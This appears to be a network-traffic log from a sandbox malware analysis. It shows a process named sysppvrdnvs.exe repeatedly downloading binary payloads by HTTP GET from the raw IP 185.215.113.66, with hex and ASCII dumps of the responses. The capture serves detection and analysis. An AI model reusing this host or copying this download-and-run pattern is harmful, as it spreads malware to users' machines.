Oct 26, 2024 07:26:46.430071115 CEST	1236	IN	Data Raw: 1a 7e 54 ab 8b 45 f0 f6 cd be e1 a1 4c 42 63 2a 88 24 37 be 0d 52 6c ca 2d 11 74 6a 4f 1c 96 52 71 18 29 06 58 2e ed 84 4a d6 69 35 40 34 36 fa a4 03 08 6e 3d cc 79 d5 da 9b cd e5 49 62 a0 15 b7 25 90 b3 49 fd 19 9c 00 1d 6e be 47 6c 88 53 1f 7a Data Ascii: ~TELBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^tiIIsnc:F&lU'/xJQHI9xJ :6A@dq"0o3zC4/mqM
Oct 26, 2024 07:26:46.430087090 CEST	1236	IN	Data Raw: 18 79 9c 05 4e c4 8e 9a a9 9d c9 5b 93 d9 75 84 fb 01 3a 8d e5 b7 91 3a 76 75 6b d3 6c a6 b9 fe a4 2f 47 5e 75 68 33 a0 76 87 6a 1a b3 ec d4 d7 f1 a1 5a c1 ff 30 43 2c 25 b0 ea 1e 1b 51 9d 20 86 8b df 35 f9 6d 0b 1e 79 38 0d bc 65 b9 0b 84 27 d9 Data Ascii: yN[u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)WJ4)`&a0oc]Uo(4M'_sG@mxy6("S9%5]9[h1_&},fO
Oct 26, 2024 07:26:46.430103064 CEST	424	IN	Data Raw: 84 70 54 7d 76 a7 80 23 30 99 b6 5d 7b 26 54 bb 8f 3b 49 5d 85 8d ef 23 d3 03 bf d7 a3 12 7a 16 b2 c0 04 d2 f8 59 ed 93 77 a1 9b 16 eb 38 08 4f 1f f3 41 a0 7b 13 e5 00 b1 6b dd 19 4b ed c5 fb 8c e7 26 47 0f 46 fb 4d 58 09 99 98 14 46 4a 2b a4 8e Data Ascii: pT}v#0]{&T;I]#zYw8OA{kK&GFMXFJ+I$?r-:Pw_gN/6p"]c{1 NTSgA7\|I5Y&hOhAcUz(S7S})!s%F'GWfS\D5LR)r9
Oct 26, 2024 07:26:46.430119038 CEST	1236	IN	Data Raw: 3a 70 40 9c 99 4e 16 8e 78 88 21 b6 82 49 0b 20 ff d5 15 45 89 e2 a5 c1 4b a0 14 4a d9 0a d6 2a 7b a8 84 73 60 c7 23 fb 10 1a 55 57 72 7c d3 c2 44 66 7f 7e fa d1 0c 59 d3 cc 88 3a 86 c3 3c c2 1b 40 d3 04 d0 c5 91 93 ac 63 a8 3f 2d 47 83 ac ef b6 Data Ascii: :p@Nx!I EKJ*{s`#UWr\|Df~Y:<@c?-G+TfV6[_lCQh!UXs{m`/c3KSXkB\|"KFJSo_RA~Ka gZ-O#tm?m;}_/j.xUUx`Yo[3
Oct 26, 2024 07:26:46.430135965 CEST	1236	IN	Data Raw: ea 9d f9 73 f3 dc 25 19 ad f1 23 40 23 26 41 95 d6 f4 47 d6 20 3d bc 4f 50 9f 70 c8 2a ca bb 9f 75 04 ec 4c 78 e9 cd 21 24 bf 41 c9 3c 1f 02 0d 0c 6b 5f 78 8c 6d 80 4f c4 9c 10 d7 a7 16 ed e8 db 31 d2 3e b4 8d 06 f3 89 82 e0 00 18 10 e6 b1 b2 76 Data Ascii: s%#@#&AG =OPp*uLx!$A<k_xmO1>v@O;KbSs YUN7L'A4Ht\isoh-%a~4A7n7C;0PQCgkwNz8NMxAbZYPU4]&^e
Oct 26, 2024 07:26:46.430165052 CEST	424	IN	Data Raw: 22 0a d7 fd fb 65 13 e7 82 ba f3 30 2b c3 59 1d 8c 11 5f 25 7d e2 e2 9a 61 a8 5c 77 5f af ad 72 90 61 0a a4 3d fa a9 ad 0c e2 cb 4e 2e f3 97 1d 3e 65 ad 91 95 40 06 62 cf cd fa a2 e9 92 23 9a 54 5c df fb 40 41 24 e3 46 4d 16 2e 80 31 0d 21 e9 46 Data Ascii: "e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1!FWy7JKPh,2W>>{]t4iUaAIdBJ+:O"F7&Vn#Rj*$.z"Wt,qNh"1=3Ib:Y!\fsAF),l;mN\|
Oct 26, 2024 07:26:46.430346012 CEST	1236	IN	Data Raw: 11 19 8e dc c4 c4 a2 20 f4 64 86 38 19 82 82 60 08 e5 aa eb 7d 0d 24 40 81 5b 62 93 20 56 80 3b 09 90 29 57 44 b3 31 d2 b1 29 25 0f 6f 1f 68 58 dd c2 f9 9d 67 20 f2 88 36 a1 77 d5 7b 2c 8d be 78 68 cf 83 6d 4c 97 43 62 1d 2a 92 d4 a4 97 a4 89 e2 Data Ascii: d8`}$@[b V;)WD1)%ohXg 6w{,xhmLCb*Ulh&H&_#>1+OO;yj-1B>u8MdCc%EBCWv$tKm]URY'yG&+@N _"i}b]
Oct 26, 2024 07:26:46.430361032 CEST	848	IN	Data Raw: e9 92 b4 d8 7f f0 62 68 b8 8a 83 5c 49 be 2e 58 96 c3 6a aa 5b a2 f2 c1 52 29 18 5e e9 cb fa 03 c5 81 b9 98 1b 98 9a 8a 98 9f b2 df 46 b9 32 b1 80 b5 0d dd 92 8f 01 4e dd 7a 69 1b 53 f5 3f f8 7f 72 f5 81 54 2b 2e 5f 73 1f b6 a1 be da 3c e6 df 1e Data Ascii: bh\I.Xj[R)^F2NziS?rT+._s<mXF{H9xL +!aGSR$>M9<{yq5By/MII$W5VfX# #RT@: IrjJY^O;P)wZ=xAMP]%(1
Oct 26, 2024 07:26:52.766783953 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:26:53.054683924 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:52 GMT Content-Type: application/octet-stream Content-Length: 16128 Last-Modified: Wed, 25 Sep 2024 06:10:59 GMT Connection: keep-alive ETag: "66f3a973-3f00" Accept-Ranges: bytes Data Raw: aa ff 5b 85 19 de 79 93 4d ba ae a5 78 a9 fd 33 2b 5f 5b 98 2f e2 90 9b 43 bd 1a 0d 04 b2 f0 0d e0 d2 4c b9 c7 49 cc d7 d9 86 fc 8a cb a9 8a a3 e8 4b 30 70 cc 50 61 19 a3 47 82 6a 87 71 cd 8c 0c 72 ae da 3e dd b2 2b 22 4d d7 28 a6 af 1c bc 29 de 1c 02 e5 f1 a6 6e 66 9e dd 18 a8 da 2b ff 6d c4 8d ee fd 38 60 ba e4 86 f4 d7 40 df 27 56 a7 f2 ca 5d 5f fa 84 aa 7b cf 31 80 26 84 f3 f2 df d5 e9 24 ed 82 c6 22 c1 fd cf 14 bb 4c 2b d9 27 6c f4 35 00 10 82 a6 1e bb 1d cf 5d 31 5a dd 21 48 df 7c c6 bd aa 01 4a af 21 b4 2f b4 3d 3a 6a 72 7e ad 32 ca d0 54 ff fa 5e 52 a6 ae 21 74 90 74 88 9f 33 25 5f 1c 2f 3a cd 70 f4 a3 40 f4 de 5a 2d 2e a5 ab 8c c7 c4 39 ee ac 1f df dd ad 83 61 53 40 96 ef 54 f8 d5 99 78 d0 5c 15 a6 e4 3a 94 aa 88 b5 29 9f 27 fe df f6 f1 44 8d bc dd e1 03 41 86 b3 e3 55 74 f6 93 e0 52 2d 67 f4 5a 3e ac f1 42 1d 05 88 0b c7 71 98 35 3a 39 b0 14 2a a2 79 0b 6e 7a ab 34 d0 5e f3 c0 be 79 a1 6e 92 b2 77 e0 36 5f b2 e6 fd 89 91 4d 37 1c 32 b3 ee 70 af 6a 4a 74 8a 23 65 0e 7a c7 53 57 d8 80 68 b7 [TRUNCATED] Data Ascii: [yMx3+_[/CLIK0pPaGjqr>+"M()nf+m8`@'V]_{1&$"L+'l5]1Z!H\|J!/=:jr~2T^R!tt3%_/:p@Z-.9aS@Tx\:)'DAUtR-gZ>Bq5:9*ynz4^ynw6_M72pjJt#ezSWh4{q/br( olSu5nw;i#:X<<T>cRfzgzDG:]]G=su`#Zt9Xw48~$YJ<0}~,4SJGJwzbyt;9C#<$v@0`/"8bn,]E-VpYcGa:q2oWO,N3#@my1~-I-.!m<fa^ak=FzeMq/(\R\)KwxlM7LD G+m\E~Xt:\|2EX<\P3,qDxRG,~TaZ~v{zJ[a$y#gR<v\>cjn)?kSxP07@Pe@ZL6RvoexXOK4For'A8K%?RtGVB}c7!8=f&d
Oct 26, 2024 07:26:53.054727077 CEST	112	IN	Data Raw: 49 24 02 da 57 17 86 62 ea 4f b3 98 a8 06 64 68 e4 0e 11 0e 16 b4 f3 7d b0 7f 4e f3 b6 bb c5 b4 04 d0 bf 65 7f 95 6e fe ce e4 7b b2 ca f9 ec 06 09 b6 58 0e 05 a0 aa 0b 83 ec 25 fb e4 1d e9 c0 9d 1e 4d 8c be fd 63 31 5e 38 76 9c 34 c9 48 ba b1 12 Data Ascii: I$WbOdh}Nen{X%Mc1^8v4H\|f\|'x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49914	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:26:54.088952065 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:26:54.995249987 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:26:54 GMT Content-Type: application/octet-stream Content-Length: 16128 Last-Modified: Wed, 25 Sep 2024 06:10:59 GMT Connection: keep-alive ETag: "66f3a973-3f00" Accept-Ranges: bytes Data Raw: aa ff 5b 85 19 de 79 93 4d ba ae a5 78 a9 fd 33 2b 5f 5b 98 2f e2 90 9b 43 bd 1a 0d 04 b2 f0 0d e0 d2 4c b9 c7 49 cc d7 d9 86 fc 8a cb a9 8a a3 e8 4b 30 70 cc 50 61 19 a3 47 82 6a 87 71 cd 8c 0c 72 ae da 3e dd b2 2b 22 4d d7 28 a6 af 1c bc 29 de 1c 02 e5 f1 a6 6e 66 9e dd 18 a8 da 2b ff 6d c4 8d ee fd 38 60 ba e4 86 f4 d7 40 df 27 56 a7 f2 ca 5d 5f fa 84 aa 7b cf 31 80 26 84 f3 f2 df d5 e9 24 ed 82 c6 22 c1 fd cf 14 bb 4c 2b d9 27 6c f4 35 00 10 82 a6 1e bb 1d cf 5d 31 5a dd 21 48 df 7c c6 bd aa 01 4a af 21 b4 2f b4 3d 3a 6a 72 7e ad 32 ca d0 54 ff fa 5e 52 a6 ae 21 74 90 74 88 9f 33 25 5f 1c 2f 3a cd 70 f4 a3 40 f4 de 5a 2d 2e a5 ab 8c c7 c4 39 ee ac 1f df dd ad 83 61 53 40 96 ef 54 f8 d5 99 78 d0 5c 15 a6 e4 3a 94 aa 88 b5 29 9f 27 fe df f6 f1 44 8d bc dd e1 03 41 86 b3 e3 55 74 f6 93 e0 52 2d 67 f4 5a 3e ac f1 42 1d 05 88 0b c7 71 98 35 3a 39 b0 14 2a a2 79 0b 6e 7a ab 34 d0 5e f3 c0 be 79 a1 6e 92 b2 77 e0 36 5f b2 e6 fd 89 91 4d 37 1c 32 b3 ee 70 af 6a 4a 74 8a 23 65 0e 7a c7 53 57 d8 80 68 b7 [TRUNCATED] Data Ascii: [yMx3+_[/CLIK0pPaGjqr>+"M()nf+m8`@'V]_{1&$"L+'l5]1Z!H\|J!/=:jr~2T^R!tt3%_/:p@Z-.9aS@Tx\:)'DAUtR-gZ>Bq5:9*ynz4^ynw6_M72pjJt#ezSWh4{q/br( olSu5nw;i#:X<<T>cRfzgzDG:]]G=su`#Zt9Xw48~$YJ<0}~,4SJGJwzbyt;9C#<$v@0`/"8bn,]E-VpYcGa:q2oWO,N3#@my1~-I-.!m<fa^ak=FzeMq/(\R\)KwxlM7LD G+m\E~Xt:\|2EX<\P3,qDxRG,~TaZ~v{zJ[a$y#gR<v\>cjn)?kSxP07@Pe@ZL6RvoexXOK4For'A8K%?RtGVB}c7!8=f&d
Oct 26, 2024 07:26:54.995306015 CEST	112	IN	Data Raw: 49 24 02 da 57 17 86 62 ea 4f b3 98 a8 06 64 68 e4 0e 11 0e 16 b4 f3 7d b0 7f 4e f3 b6 bb c5 b4 04 d0 bf 65 7f 95 6e fe ce e4 7b b2 ca f9 ec 06 09 b6 58 0e 05 a0 aa 0b 83 ec 25 fb e4 1d e9 c0 9d 1e 4d 8c be fd 63 31 5e 38 76 9c 34 c9 48 ba b1 12 Data Ascii: I$WbOdh}Nen{X%Mc1^8v4H\|f\|'x
Oct 26, 2024 07:26:54.995323896 CEST	1236	IN	Data Raw: e7 fb dd bb ba 5c 82 d9 10 01 16 0b d1 18 bc a5 c1 52 27 e6 01 29 e5 a1 94 eb 5a d4 9c d9 0e c6 b9 08 0f 7b d1 dc 97 ca 03 fd 8d 9b 69 02 43 7f bb 2c 1c 7d 27 9e f3 1f 9e 05 68 84 fa 43 bc b1 ac 68 af c3 ad 35 ee 5b d6 9c 1a 77 52 47 90 d7 8d 40 Data Ascii: \R')Z{iC,}'hCh5[wRG@XB;G[-iC+(?E=y[$He&qs*ukH7<IzH6=Azqk]9hlg:k.vK4"N[e:M;2/KUNMlRA8Wh!&J\|-^=_4g
Oct 26, 2024 07:26:54.995345116 CEST	1236	IN	Data Raw: b1 75 f1 15 cb 86 00 f9 d2 09 b9 72 00 86 b3 62 b8 79 f4 fb 15 63 27 e6 0f f3 9d cc 58 84 67 d0 2a 79 38 b5 38 8b 83 a3 b9 28 be b7 42 41 f1 e2 6f 71 f2 62 ff 1e ca cc 92 cb 5c 33 6d 63 32 ac e4 6b dc 87 0a 85 d5 67 26 93 df 3b 10 52 0d ea 61 b6 Data Ascii: urbyc'Xg*y88(BAoqb\3mc2kg&;Rao#``2C(BRcAEy3.(d{A#/h>(HyN}X2m+@0'+gU2OduQa17j(rEw3<&tLi)DVo\|
Oct 26, 2024 07:26:54.995364904 CEST	1236	IN	Data Raw: d8 09 89 b1 d7 c1 86 84 f9 13 dc c1 36 ee be 66 f7 71 8d 09 90 88 b0 96 8c 7b 3e 17 51 9c 15 e7 41 82 42 c7 31 54 d7 5b 14 eb b7 f3 c8 13 87 aa bd 7e 33 9e 23 c8 56 c6 ce a6 ea 50 76 b9 e3 96 b0 7c c2 6c 0b a6 f7 46 94 8d 3b 1a 07 d9 08 79 88 cc Data Ascii: 6fq{>QAB1T[~3#VPv\|lF;yHu^-z\|&#BzHrsexJJe"xg+b-&x[m,Vb/WUEetS~F/xhfo&Y.=yU9hwaL{%+
Oct 26, 2024 07:26:54.995377064 CEST	1236	IN	Data Raw: 19 02 a2 14 1c 5c f8 33 91 43 05 0f 10 5b 36 4e 33 6e 72 e4 a5 c4 64 ad c7 23 59 66 34 55 86 66 04 97 82 11 f7 a5 ef dc c3 9e 51 80 22 5e 2c 60 02 3a 66 b3 ee 3d eb 6b 9b 1d e3 46 9e e8 27 e7 0b 4f 88 47 d9 2e c3 cd 9e 75 a9 d3 cb 32 87 7e 6f df Data Ascii: \3C[6N3nrd#Yf4UfQ"^,`:f=kF'OG.u2~o8?_s}T^_+=y?PtVOD/mpDVQ*jj&!-6Ma:\|G@`Rw<,ywV#eeEVBAH/^Cpo#=S-s
Oct 26, 2024 07:26:54.995388985 CEST	1236	IN	Data Raw: b3 8a 6d 78 63 1f c4 c8 ca 3a eb 3b cd 3e 62 0d 72 9a 27 de 43 39 78 9c ea d8 99 7e 04 d5 2e a0 80 11 ec 2e ac 36 4f 9a 76 d3 98 1b 86 d0 ab 61 d0 01 a6 bd 2c 49 78 d2 d5 cb 25 be 51 b0 e6 81 4c f4 b0 a8 1c 36 9d d5 0c 28 48 fd 81 2d 6f 05 fc a1 Data Ascii: mxc:;>br'C9x~..6Ova,Ix%QL6(H-oeq@.>SX~^x~QKCmJr1FhW)U`aQfN3Dh4O,2WMtQ\|kBE=L~] ;jZG#Ad^7p7:Elc
Oct 26, 2024 07:26:54.995399952 CEST	560	IN	Data Raw: 24 d3 59 e5 1c a8 d5 57 ee 8f 8a ce aa fe e0 a5 e1 7c ec 78 14 05 4c 0b fc 7d 59 5a 4f 0a 0a 45 fb 59 40 65 b7 09 10 12 46 aa 1d f5 0a 68 b4 50 ae de 46 80 b0 01 a4 7e 31 b4 ae 4a bf c3 47 40 19 0b cb a9 79 65 34 e0 23 ea ad f0 6d 19 35 f8 c7 59 Data Ascii: $YW\|xL}YZOEY@eFhPF~1JG@ye4#m5YE8mA!pV7>S?5XK=`:btHho/I-6JM5[c}0'z 8g'?Q<Py*P-DH_gb9LKb
Oct 26, 2024 07:26:54.995426893 CEST	1236	IN	Data Raw: 61 a2 39 0e a5 75 4e 7f 43 be 9a 7a 42 19 5c 44 23 8e a7 f1 c7 b4 ef f4 34 f5 ea c0 c6 9d 42 a1 be 25 35 5d 91 b7 2f fb 57 de c0 c2 43 8e 9d ba c5 c2 de 56 be bf 89 06 97 08 15 4e 05 2a 0e a5 7f 1b 0d d3 98 e8 7e 43 0f 5c 8f e8 46 f7 3d 50 9e 30 Data Ascii: a9uNCzB\D#4B%5]/WCVN~C\F=P0^(IZ=\9cD&eY>3_q;DlS(m=WUg[Sj%Ko7v!M\oD]c'q7tQnE=jv^YqjkTqHj<TM]VF~8nhCJ
Oct 26, 2024 07:26:54.995446920 CEST	1236	IN	Data Raw: 09 0d 48 a1 f8 16 b9 9b 26 06 0c 71 c1 02 4a 14 24 ab e2 0d e0 93 9d 59 04 93 11 63 22 2f 70 d1 c9 0c b1 7e 61 54 9f c5 a6 6c a0 92 75 29 01 02 e5 7f 98 4b d7 94 db 6a 1f c3 be 93 e3 ff c0 cb 7a 36 a6 06 4a e1 9f 79 7a 5d da 78 b2 95 fb 3d 9e a5 Data Ascii: H&qJ$Yc"/p~aTlu)Kjz6Jyz]x=$s^!}_m+ck@L.<4^f wtEpr)o}nEL-MC*kK<[fw^jBYio1JvHwaJ+G-
Oct 26, 2024 07:26:55.000848055 CEST	1236	IN	Data Raw: 55 52 74 b5 1b 28 36 ee f8 74 c2 d2 9d 56 5e dc 6a ec 28 2a a9 e5 8a f1 39 85 01 d8 09 10 40 9e e8 9a ab cc 39 7e 76 23 69 2f 4f df bc 42 04 2b b2 88 62 72 b7 bb be 62 94 10 72 be 8d 4f 34 e0 fb 8a 4e ff 1e 04 7a 1c 49 42 4a b1 a9 b1 f9 71 23 f2 Data Ascii: URt(6tV^j(9@9~v#i/OB+brbrO4NzIBJq#LE2&xPV7vg?6K0v'p}%6GD+D%HTD$PioV><x6>S@KvJj`-y-'#[jMF,aYk@hh
Oct 26, 2024 07:27:01.251027107 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:01.530986071 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:01 GMT Content-Type: application/octet-stream Content-Length: 10496 Last-Modified: Sun, 20 Oct 2024 18:34:00 GMT Connection: keep-alive ETag: "67154d18-2900" Accept-Ranges: bytes Data Raw: 13 e3 aa 7c f1 40 76 43 29 84 09 02 71 ae 39 fc df 9d fa 02 4b d8 7b 3e ae 0c e2 64 38 f9 d3 27 da 73 10 d1 ca f9 f2 4a f8 ad aa 12 e8 fa c9 50 6e f5 a1 6b 88 56 c2 7a 1f 17 e8 40 57 00 b2 8f df 4c 7b e3 14 75 47 bf 27 47 31 bb 43 4c 8e e7 b4 40 14 db 1d 3c 42 cc e1 36 dc d3 3b 91 3e 68 4d 15 e2 5c e6 98 da 7c 77 03 42 8c 76 ca a5 9a 81 db a1 ec 75 f2 84 a2 67 09 f0 c5 b4 4f 58 86 25 fc 20 b3 68 fa 72 39 3a 7c e0 1b f5 e8 b0 73 b6 f8 3c 81 36 fa 29 81 67 e8 ee 34 47 6c 59 b9 7f 18 32 42 66 14 35 b3 8d e2 41 8d e5 92 2b 47 1f c0 93 b3 28 d8 54 2d 6f 45 f1 c3 5a cf 49 32 33 d3 7b ac a8 27 33 c1 c9 e0 29 60 f9 b3 d3 5e 65 37 6a 7a 2f 4d 24 73 1b 93 bb fa 91 d2 34 ce 9b 19 db d6 2a 31 36 f0 a2 ab 92 6d 08 d9 66 72 6e 07 c5 44 44 2c 9e af ae ce d3 fb 57 61 28 cd 32 90 44 0e c3 39 95 a9 ab 17 e4 0d 16 a5 f0 c2 e3 78 c3 de e1 fa ff 86 d7 ae ab 06 ba 5a 6b 34 44 61 15 d3 b1 85 29 3f 83 f4 5f 68 10 ed 8d d7 73 41 11 b6 57 f3 ed 02 fa a4 42 32 ff 99 d6 ea 0a 63 48 51 ba 54 b5 00 01 83 3d 9e bb 55 dd 93 1c e5 [TRUNCATED] Data Ascii: \|@vC)q9K{>d8'sJPnkVz@WL{uG'G1CL@<B6;>hM\\|wBvugOX% hr9:\|s<6)g4GlY2Bf5A+G(T-oEZI23{'3)`^e7jz/M$s4*16mfrnDD,Wa(2D9xZk4Da)?_hsAWB2cHQT=U@3}!YGCX{ 4"&h0.'xu#c\|gL0)cM]oL{:En:?\|_XPQ@ 3.o)ua[I+fZM% ]2uz_Gwt0bFaMTd2Y&TMXP}+OpQEo6R;P>8`2'"~CZ_,2g $l"x:h;H`$-6_-eC?6T=qL3&fG)WG@6X~%X%RCh?R].fbU!PHh"Rj,dk.e\~hn(,G<u16tlw;p;yrSC_M6XhtG7zsHP,e_ddcn^M+ct\0jr>;_nq>xezw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49957	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:02.641123056 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:03.546670914 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:03 GMT Content-Type: application/octet-stream Content-Length: 10496 Last-Modified: Sun, 20 Oct 2024 18:34:00 GMT Connection: keep-alive ETag: "67154d18-2900" Accept-Ranges: bytes Data Raw: 13 e3 aa 7c f1 40 76 43 29 84 09 02 71 ae 39 fc df 9d fa 02 4b d8 7b 3e ae 0c e2 64 38 f9 d3 27 da 73 10 d1 ca f9 f2 4a f8 ad aa 12 e8 fa c9 50 6e f5 a1 6b 88 56 c2 7a 1f 17 e8 40 57 00 b2 8f df 4c 7b e3 14 75 47 bf 27 47 31 bb 43 4c 8e e7 b4 40 14 db 1d 3c 42 cc e1 36 dc d3 3b 91 3e 68 4d 15 e2 5c e6 98 da 7c 77 03 42 8c 76 ca a5 9a 81 db a1 ec 75 f2 84 a2 67 09 f0 c5 b4 4f 58 86 25 fc 20 b3 68 fa 72 39 3a 7c e0 1b f5 e8 b0 73 b6 f8 3c 81 36 fa 29 81 67 e8 ee 34 47 6c 59 b9 7f 18 32 42 66 14 35 b3 8d e2 41 8d e5 92 2b 47 1f c0 93 b3 28 d8 54 2d 6f 45 f1 c3 5a cf 49 32 33 d3 7b ac a8 27 33 c1 c9 e0 29 60 f9 b3 d3 5e 65 37 6a 7a 2f 4d 24 73 1b 93 bb fa 91 d2 34 ce 9b 19 db d6 2a 31 36 f0 a2 ab 92 6d 08 d9 66 72 6e 07 c5 44 44 2c 9e af ae ce d3 fb 57 61 28 cd 32 90 44 0e c3 39 95 a9 ab 17 e4 0d 16 a5 f0 c2 e3 78 c3 de e1 fa ff 86 d7 ae ab 06 ba 5a 6b 34 44 61 15 d3 b1 85 29 3f 83 f4 5f 68 10 ed 8d d7 73 41 11 b6 57 f3 ed 02 fa a4 42 32 ff 99 d6 ea 0a 63 48 51 ba 54 b5 00 01 83 3d 9e bb 55 dd 93 1c e5 [TRUNCATED] Data Ascii: \|@vC)q9K{>d8'sJPnkVz@WL{uG'G1CL@<B6;>hM\\|wBvugOX% hr9:\|s<6)g4GlY2Bf5A+G(T-oEZI23{'3)`^e7jz/M$s4*16mfrnDD,Wa(2D9xZk4Da)?_hsAWB2cHQT=U@3}!YGCX{ 4"&h0.'xu#c\|gL0)cM]oL{:En:?\|_XPQ@ 3.o)ua[I+fZM% ]2uz_Gwt0bFaMTd2Y&TMXP}+OpQEo6R;P>8`2'"~CZ_,2g $l"x:h;H`$-6_-eC?6T=qL3&fG)WG@6X~%X%RCh?R].fbU!PHh"Rj,dk.e\~hn(,G<u16tlw;p;yrSC_M6XhtG7zsHP,e_ddcn^M+ct\0jr>;_nq>xezw
Oct 26, 2024 07:27:03.546689034 CEST	1236	IN	Data Raw: b6 6f 0a 0a 83 25 6b 6b 77 fa e4 46 67 eb d9 41 2f aa 63 53 82 83 51 d9 2f 3d 63 6a 82 33 0b 6f 95 13 e1 9f 36 1b ba cb fb f5 6f 57 bb 40 bd 1d a5 c1 57 98 12 18 b1 98 2c ff 21 39 d5 d8 8c 8b 48 74 d5 8a 79 fc c5 75 bb aa e4 d3 c1 a0 97 29 d7 96 Data Ascii: o%kkwFgA/cSQ/=cj3o6oW@W,!9Htyu)PU:vO'8O>*B aw'&iEpRaMZ\|3Fk<lQ;GbPMlh5}8m;ajW,N7&QK
Oct 26, 2024 07:27:03.546700001 CEST	1236	IN	Data Raw: 63 34 74 b5 c2 9f e6 cf 24 40 6d 6d 39 94 34 21 a1 59 32 49 93 8d 45 6f 16 41 e3 3e fb e9 ec 01 f9 89 40 75 7d 84 c1 29 99 2e 8f f9 01 1b d7 e2 f5 ea f5 37 7e 95 c0 87 7f d4 e2 e3 b8 2c a3 95 7b 43 15 a1 69 fe 92 c8 13 e2 7f 5f 3b 68 4b fa 25 e1 Data Ascii: c4t$@mm94!Y2IEoA>@u}).7~,{Ci_;hK%D&kuY'p=/a:NTtKu"1X[8Ibdym-*\|+>a`<Z!%\| 4&[+usL^etpuu);Xb<>M\
Oct 26, 2024 07:27:03.546739101 CEST	1236	IN	Data Raw: 0b a6 7d 79 c6 0e 19 41 de 44 a9 03 74 f2 fb a9 92 bc 27 b6 69 9d 42 1a 59 26 6e 6d a8 df 05 cd 7b e6 9c e9 45 0f 67 74 bc 1a e1 59 dd 58 26 67 a8 cb ea 52 87 27 f1 9b fe 95 bd 52 bf 68 3a 2f 74 d5 bc 82 48 3c f6 ef 52 41 bf 9a 2d b2 e4 48 3f 02 Data Ascii: }yADt'iBY&nm{EgtYX&gR'Rh:/tH<RA-H?:3a$8;SUrN1QIuc>"W\|1Rrm]T1&PSTQZqEtgc[U,@+LoR0rMwfu^VUzcie_$eM;B
Oct 26, 2024 07:27:03.546749115 CEST	1236	IN	Data Raw: 0e 0b 73 b4 cc 61 72 90 49 03 c9 0c 34 6e 73 ed 3b 3f 45 e7 2a 84 8c 3b 11 6d 21 89 00 60 23 47 8c c2 4b 9e c0 2c d8 47 80 38 fd e5 6a f8 e1 31 10 55 0b 54 d4 89 df 1b da 0d 24 5b 6e ee 18 45 4b 11 59 49 7e 62 cf 22 93 99 ab 6f bd b6 fe 39 0b 36 Data Ascii: sarI4ns;?E;m!`#GK,G8j1UT$[nEKYI~b"o96{'#S(cJK4Hft5U>1uauV\|p8"`;uT;_Ibmppc&D5HCwjrH&532a`#&A
Oct 26, 2024 07:27:03.546770096 CEST	1236	IN	Data Raw: 52 57 11 8b 24 3e 89 1b 44 e8 11 27 36 d3 98 6c 64 5f c1 5e 36 d1 aa 50 5a 3a 84 e5 9f 20 97 64 a4 c0 4b 41 9b fa 0a f4 83 09 e0 69 91 cf e7 2c d4 09 d5 e4 18 60 53 3c 4e cb 83 5e 89 f8 2f 97 1b db be 93 32 73 f7 8d f7 65 6f 24 ee f6 74 d5 08 d2 Data Ascii: RW$>D'6ld_^6PZ: dKAi,`S<N^/2seo$tRu@.\]=/E,PX<yu6CIEF`!Ue$u9r;SwjF"dDxsWY/"4\|bob`\|bS
Oct 26, 2024 07:27:03.546787977 CEST	1236	IN	Data Raw: b5 f2 e5 56 94 d5 a7 ba 2e 4b ef 19 cb 34 b8 a7 99 e1 80 8c cc c0 91 a1 56 e3 29 95 04 e6 0f b9 a5 86 93 81 fe fb 19 09 f6 66 dc 6a 30 a9 58 e4 78 2d 5f 4e 45 b3 14 af 02 96 da 20 60 39 3e 4b 48 c0 80 cb 76 02 0b 8c c1 87 09 1a bc 98 6d 65 18 af Data Ascii: V.K4V)fj0Xx-_NE `9>KHvme#R]/I{J4],GCrJZ3;:U$=%W&^/UR1i [kkRh1;Cz^DO"j$qQT`r!Q[(7_`E
Oct 26, 2024 07:27:03.546799898 CEST	1236	IN	Data Raw: 28 11 af e2 41 9b fa 51 e9 ab d8 2a 79 da ce 15 40 37 b8 70 18 de 0f 5b 95 e6 1e b5 38 1d 61 99 66 96 eb c4 00 1f 65 72 58 fc 2e 42 79 8e 29 b8 e0 15 7b 9e 33 1a 0b 8c e5 49 8f 3e 92 cc 6d 67 59 91 10 68 27 3e 93 f3 d5 fa 1d e9 90 99 e6 46 67 f1 Data Ascii: (AQ*y@7p[8aferX.By){3I>mgYh'>Fg),},([vUl s?u/AsGbrRbV1oLE?fpK`\|cv\}0>jmer^kvrM5uMW~c3FzWSkUM@q
